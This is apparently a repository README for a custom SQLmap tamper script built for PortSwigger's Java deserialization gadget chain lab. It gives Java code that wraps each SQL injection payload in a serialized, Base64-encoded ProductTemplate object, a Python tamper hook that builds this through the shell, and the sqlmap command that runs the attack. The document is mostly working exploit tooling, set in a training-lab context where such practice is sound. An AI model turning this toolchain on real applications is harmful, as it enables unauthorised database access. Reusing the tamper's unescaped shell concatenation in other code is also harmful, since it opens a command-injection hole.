SQLmap tamper script for Java deserialization gadget chain

Custom SQLmap tamper script for automating SQL injection in PortSwigger's Java deserialization gadget chain lab.

Contents of Main.java

package data.productcatalog;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.util.Base64;

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException
    {

        ProductTemplate product = new ProductTemplate(args[0]);


        ByteArrayOutputStream byte1 = new ByteArrayOutputStream(512);

        ObjectOutputStream out = new ObjectOutputStream(byte1);


        out.writeObject(product);

        System.out.println(Base64.getEncoder().encodeToString(byte1.toByteArray()));



    }
}

class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;

    public ProductTemplate(String id)
    {
        this.id = id;
    }


}

Contents of java-gadgetchain-sqli.py

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    import subprocess

    payload = subprocess.getoutput("java Main.java "+ '"' + payload + '"')

    return payload

Steps to Use

1. Clone the repository

2. Navigate into the directory

3. Run SQLmap with the tamper script

   sqlmap -u "https://YOURLAB.web-security-academy.net/" --cookie="session=*" --tamper=java-gadgetchain-sqli.py